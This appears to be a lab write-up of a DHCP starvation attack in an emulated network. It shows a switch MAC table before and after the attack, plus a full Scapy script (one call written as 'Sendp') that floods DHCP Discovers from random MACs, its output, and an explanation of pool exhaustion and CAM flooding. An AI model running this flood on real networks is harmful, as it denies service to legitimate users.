

DHCP Starvation Attack

Before Attack:

The screenshot shows the EVE Topology interface with a terminal window for R1 and a QEMU window for Linux-kali.

EVE Topology Terminal (R1):

```
Switch>
Switch>enable
Switch>show mac add
Switch>show mac address-table
      Mac Address Table
-----
Vlan  Mac Address      Type      Ports
----  -
1      0050.0000.0200    DYNAMIC   Et0/1
1      0050.56c0.0008    DYNAMIC   Et0/0
1      0050.56fe.8a24    DYNAMIC   Et0/0
Total Mac Addresses for this criterion: 3
Switch#
```

QEMU (Linux-kali) Terminal:

```
root@kali:~# nano starve.py
GNU nano 8.7.1 starve.py
from scapy.all import *

conf.checkIPaddr = False

while True:
    fake_mac = RandMAC()
    packet = Ether(src=fake_mac, dst="ff:ff:ff:ff:ff:ff") / \
        IP(src="0.0.0.0", dst="255.255.255.255") / \
        UDP(sport=68, dport=67) / \
        BOOTP(chaddr=RandString(12, "0123456789abcdef")) / \
        DHCP(options=[("message-type", "discover"), "end"])

    Sendp(packet, iface="eth0", verbose=0)
    print(f"Sending packet from: {fake_mac}")
```

After Attack :

The screenshot shows the EVE Topology interface with a terminal window for R1 and a QEMU window for Linux-kali after the attack.

EVE Topology Terminal (R1):

```
      Mac Address Table
-----
Vlan  Mac Address      Type      Ports
----  -
1      0050.0000.0200    DYNAMIC   Et0/1
1      0050.56c0.0008    DYNAMIC   Et0/0
1      0050.56f5.5e08    DYNAMIC   Et0/0
1      0050.56fe.8a24    DYNAMIC   Et0/0
1      00dd.4c86.4db6    DYNAMIC   Et0/1
1      0209.abfd.a70d    DYNAMIC   Et0/1
1      0652.7c40.7549    DYNAMIC   Et0/1
1      0a08.0694.a498    DYNAMIC   Et0/1
1      0c70.eeac.91d4    DYNAMIC   Et0/1
1      0e0e.644a.62ac    DYNAMIC   Et0/1
1      1067.6fc2.7d76    DYNAMIC   Et0/1
1      1606.0ff3.db6a    DYNAMIC   Et0/1
1      18c0.e64f.d0a8    DYNAMIC   Et0/1
1      1a2b.2bfe.8717    DYNAMIC   Et0/1
1      1c59.1b3e.f672    DYNAMIC   Et0/1
1      1e84.591b.ac66    DYNAMIC   Et0/1
1      2049.9cdd.c046    DYNAMIC   Et0/1
1      2251.71d7.f7d5    DYNAMIC   Et0/1
--More--
```

QEMU (Linux-kali) Terminal:

```
root@kali:~#
Sending packet from: 3b:1a:d6:8f:83:0e
Sending packet from: 78:3b:3c:3c:c9:d6
Sending packet from: 85:fe:b3:de:5e:16
Sending packet from: 31:c7:36:2c:d6:6f
Sending packet from: 18:2c:09:2c:57:fd
Sending packet from: 6a:43:f2:e3:22:e0
Sending packet from: 07:62:5f:fb:bd:51
Sending packet from: 42:3a:16:9a:d2:61
Sending packet from: d8:4c:75:20:71:01
Sending packet from: ee:03:4c:3d:e3:30
Sending packet from: 07:62:5f:fb:bd:51
Sending packet from: 2f:8d:00:57:66:7c
Sending packet from: af:12:b6:41:30:9b
Sending packet from: 1f:12:4d:9f:c5:31
Sending packet from: 24:8f:69:fe:da:83
Sending packet from: 6a:11:ea:de:cb:13
Sending packet from: d3:f7:fc:44:ab:b7
Sending packet from: d5:dd:77:bc:0b:25
Sending packet from: ee:37:4e:b0:7e:cf
Sending packet from: fa:8d:70:71:7a:11
Sending packet from: 07:ec:a2:f8:35:09
Sending packet from: b4:f1:5a:9f:4c:87
Sending packet from: 34:fc:d2:25:0b:f5
Sending packet from: 23:11:dc:5f:9b:90
Sending packet from: 31:fc:bf:24:64:b0
Sending packet from: 08:d0:d2:32:9d:7a
Sending packet from: 0b:ca:f6:da:9f:ab
Sending packet from: f6:e4:dc:f5:c0:4f
```

- **How the Attack Works:**

The attack functions by broadcasting a massive volume of DHCP Discover packets. Each packet is crafted with a unique, randomized Source MAC address and Transaction ID (XID). This tricks the network devices into treating every request as if it originates from a new, unique physical device.

- **DHCP Resource Exhaustion:**

Upon receiving these continuous requests, the DHCP server attempts to allocate an IP address for each one, sending out DHCP Offers. This rapidly consumes the entire IP Pool (available address range). Consequently, the server becomes unable to respond to legitimate clients, leading to a Denial of Service (DoS).

- **MAC Address Table Flooding:**

The switch records the Source MAC of every incoming frame in its CAM Table. By generating random MAC addresses at high speed, the script forces the switch to fill its memory limit. Once the table is full, the switch can no longer perform intelligent forwarding and begins flooding traffic to all ports, essentially acting like a Hub.